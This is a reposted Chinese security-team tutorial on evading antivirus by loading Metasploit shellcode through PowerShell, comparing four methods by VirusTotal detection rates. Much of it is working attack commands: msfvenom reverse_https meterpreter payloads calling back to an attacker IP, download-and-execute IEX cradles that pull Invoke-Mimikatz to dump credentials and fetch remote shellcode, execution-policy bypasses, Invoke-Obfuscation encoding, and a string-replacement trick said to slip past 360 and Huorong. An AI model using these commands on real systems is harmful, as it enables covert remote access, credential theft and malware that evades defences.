远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)

admin 2020年3月9日10:16:39来源:https://mp.weixin.qq.com/s/Tw-FAduHMVzek_YxIErQDQ评论1,055 views字数 6865阅读22分53秒阅读模式

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

本文目录概览:

1 powershell加载shellcode介绍2 powershell的几个基础知识    2.1 powershell版本问题    2.2 常见执行方式    2.3 执行策略3 powershell加载shellcode    3.1 法1:msf-ps1本地执行(VT免杀率18/56)    3.2 法2:Invoke-Shellcode加载(VT免杀率0/58)    3.3 法3:Invoke-Obfuscation对ps1免杀(VT免杀率3/58)    3.4 法4:ps1行为免杀(VT免杀率0/58)4 小结5 参考资料

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus,对免杀感兴趣的小伙伴可以微信关注"Tide安全团队"公众号或与我联系。


免杀能力一览表

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)

image.png

几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


1 powershell加载shellcode介绍

UNIX系统一直有着功能强大的壳程序(shell),Windows PowerShell的诞生就是要提供功能相当于UNIX系统的命令行壳程序(例如:sh、bash或csh),同时也内置脚本语言以及辅助脚本程序的工具,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。

powershell具有在硬盘中易绕过,内存中难查杀的特点。一般在后渗透中,攻击者可以在计算机上执行代码时,会下载powershell脚本来执行,ps1脚本文件无需写入到硬盘中,直接可以在内存中执行。

常见的powershell攻击工具有powersploit、nishang、empire、powercat,都提供了非常牛掰的攻击脚本,也正因为powershell的强大,现在被杀软都盯的非常紧了。我们这里只是介绍powershell加载shellcode的几种简单方式,是powershell众多功能中的很小的一个方面。

Powershell加载shellcode方法比较灵活,shellcode一般都不会被查杀,而如何对Powershell脚本进行静态和行为免杀,就成了免杀的一个关键了。

之前的文章提到很多工具都可以生成免杀的powershell脚本,比如veil、Venom、SpookFlare、Unicorn等,感兴趣的可以去研究一下他们的原理。

2 powershell的几个基础知识

2.1 powershell版本问题

powershell只能针对win7之后的系统,之前的win操作系统默认没有安装powershell。不同架构的payload(x86或x64)需要不同版本的powershell来加载,否则会出错。

64位所在目录:C:WindowsSystem32WindowsPowerShellv1.0powershell.exe

32位所在目录:C:WindowsSysWOW64WindowsPowerShellv1.0powershell.exe

2.2 常见执行方式

先介绍一下powershell的两种常见执行方式:

1、网络环境直接执行代码

无文件写入,相对较为隐蔽。下面代码为加载远程脚本Invoke-Mimikatz.ps1,执行Mimikatz的DumpCreds功能。

powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

2、 本地执行

先把[http://10.211.55.2/Invoke-Mimikatz.ps1](http://10.211.55.2/Invoke-Mimikatz.ps1)下载到本地

然后导入powershell Import-Module .Invoke-Mimikatz.ps1

使用命令Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'

或者Invoke-Mimikatz -DumpCreds

2.3 执行策略

查看执行策略powershell Get-ExecutionPolicy

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(1).png

powershell有六种执行策略:

Unrestricted 权限最高,可以不受限制执行任意脚本

Restricted 默认策略,不允许任意脚本的执行

AllSigned 所有脚本必须经过签名运行

RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名

Bypass 没有任何限制和提示

Undefined 没有设置脚本的策略

默认情况下,禁止脚本执行。除非管理员更改执行策略。

powershell Set-ExecutionPolicy Unrestricted设置执行策略(需要管理员权限)

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(2).png

绕过执行策略执行大概有以下几种:

1.本地读取然后通过管道符运行

powershell Get-Content 1.ps1 | powershell -NoProfile -

2.远程下载并通过IEX运行脚本

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.129/ps/a.ps1')"

3.Bypass执行策略绕过

powershell -ExecutionPolicy bypass -File ./a.ps1

不会显示警告和提示

4.Unrestricted执行策略标志

powershell -ExecutionPolicy unrestricted -File ./a.ps1

当运行一个从网上下载的未签名的脚本时,会给出权限提示

需要解释的是:

Invoke-Expression(IEX的别名):用来把字符串当作命令执行。WindowStyle Hidden(-w Hidden):隐藏窗口Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。Noexit(-Noe):执行后不退出Shell。EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题

3 powershell加载shellcode

3.1 法1:msf-ps1本地执行(VT免杀率18/56)

metasploit可以直接生成ps1脚本的payload,这里就先用msf生成一个原生态的ps1木马试一下,不过这个估计被杀软查杀的比较惨了,稍微加了下shikata_ga_nai编码。

用msfvenom生成powershell马,注意这里是-f psh

msfvenom -p  windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 15 -b 'x00' lhost=10.211.55.2 lport=3333 -f psh -o shell.ps1

主要这里要用x64架构的payload,不然的话64位的windows会默认调用64的powershell,执行会出错。

将shell.ps1拷贝到测试机器上,本地执行。

powershell.exe -ExecutionPolicy Bypass -NoExit -File  shell.ps1
远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(3).png

msf中可上线

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(4).png

virustotal.com中18/56个报毒,这还只是静态检测的结果。

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(5).png

3.2 法2:Invoke-Shellcode加载(VT免杀率0/58)

Invoke-Shellcode是PowerSploit里的一个脚本工具:[https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1),通过它可以加载自定义的shellcode,而且还支持在powershell中反弹msf,支持http和https协议。

PowerSploit里面还有Invoke-DllInjection.ps1可以加载dll文件,Invoke-ReflectivePEInjection.ps1可以加载exe文件,我们这里只介绍Invoke-Shellcode。想了解更多相关内容的可以移步这里:[https://cn-sec.com/archives/64079.html](https://cn-sec.com/archives/64079.html)

先用msfvenom生成脚本木马

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f powershell -o shell.ps1
远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(6).png

在msf中监听windows/x64/meterpreter/reverse_https

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(7).png

在测试机器powershell中分别执行下面命令。

IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://10.211.55.2/shell.ps1")
Invoke-Shellcode -Shellcode ($buf) -Force  运行木马
远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(8).png

msf可上线

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(9).png

virustotal.com中shell.ps1文件的查杀率为0/58,不过这个数据不具有太多参考价值,针对powershell的执行主要还靠行为检测的。

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(10).png

3.3 法3:Invoke-Obfuscation对ps1免杀(VT免杀率3/58)

powershell的免杀方法有很多,对代码进行编码是最常见的一种,这里介绍一个专门用来对powershell进行编码免杀的框架Invoke-Obfuscation,这也是著名的APT32组织海莲花常用的一个工具。

Invoke-Obfuscation主要是对ps1脚本进行免杀,所以这里还是需要现有一个ps的payload,我还是用法1的msf生成的payload。

用msfvenom生成powershell马,注意这里是-f psh

msfvenom -p  windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 15 -b 'x00' lhost=10.211.55.2 lport=3333 -f psh -o shell.ps1

下载Invoke-ObfuscationGit clone [https://github.com/danielbohannon/Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)

进入Invoke-Obfuscation目录,在powershell中执行Import-Module .Invoke-Obfuscation.psd1; Invoke-Obfuscation

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(11).png

然后执行set scriptpath c:testshell.ps1 指定待处理的Ps1文件,或者set scriptblock 'echo xss'指定待处理的ps代码

然后输入encoding,再选择编码方式,比如1

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(11).png

然后执行out c:testjiami.ps1即可输出处理好的ps1文件.

本地执行可上线powershell.exe -ExecutionPolicy Bypass -NoExit -File c:testjiami.ps1

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(13).png

virustotal.com中jiami.ps1文件3/58个报毒,比法1中原生态的免杀能力大大提高。

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(14).png

3.4 法4:ps1行为免杀(VT免杀率0/58)

参考我们团队诺言大佬的文章:[https://mp.weixin.qq.com/s/lhg71lVHfp9PY1m8sYXA_A](https://mp.weixin.qq.com/s/lhg71lVHfp9PY1m8sYXA_A)

虽然ps1代码自身免杀,但在用powershell执行远程下载或执行shellcode时,很容易触发杀软行为规则。

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(15).png

对于IEX这种方便快捷的方式直接运行会被360拦截。可尝试从语法上简单变化。主要是对DownloadString、http做一些处理。

比如利用replace替换函数,可以bypass。

powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://10.211.55.2/shell.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

可过360和火绒

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(16).png

virustotal.com中0/58个报毒

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)
image(17).png

4 小结

powershell的功能强悍,各种姿势免杀方式也很多,我这里只是介绍了一点简单的加载shellcode的方式,以及一种静态免杀和一种行为免杀的方式,更多免杀可以结合一些知名成熟的工具自己手工去实现。

由于杀软对powershell的查杀主要靠行为检测,所以本文中使用VT静态查杀来代表查杀率有点不合理,请知悉,勿喷。

5 参考资料

攻防演练对抗赛之初识文件钓鱼:[https://mp.weixin.qq.com/s/lhg71lVHfp9PY1m8sYXA_A](https://mp.weixin.qq.com/s/lhg71lVHfp9PY1m8sYXA_A)

Powershell编码与混淆:[https://www.freebuf.com/sectool/136328.html](https://www.freebuf.com/sectool/136328.html)

Invoke-Obfuscation混淆ps文件绕过Windows_Defender:[https://www.cnblogs.com/sstfy/p/10440301.html](https://www.cnblogs.com/sstfy/p/10440301.html)

 

E

N

D

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)

guān

zhù

men

Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)

远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 版权声明 本文源自 https://mp.weixin.qq.com/s/Tw-FAduHMVzek_YxIErQDQ 整理 发表于 2020年3月9日10:16:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   远控免杀专题(31)-powershell加载shellcode免杀-4种方式(VT免杀率5-58)http://cn-sec.com/archives/77425.html

发表评论

匿名网友 填写信息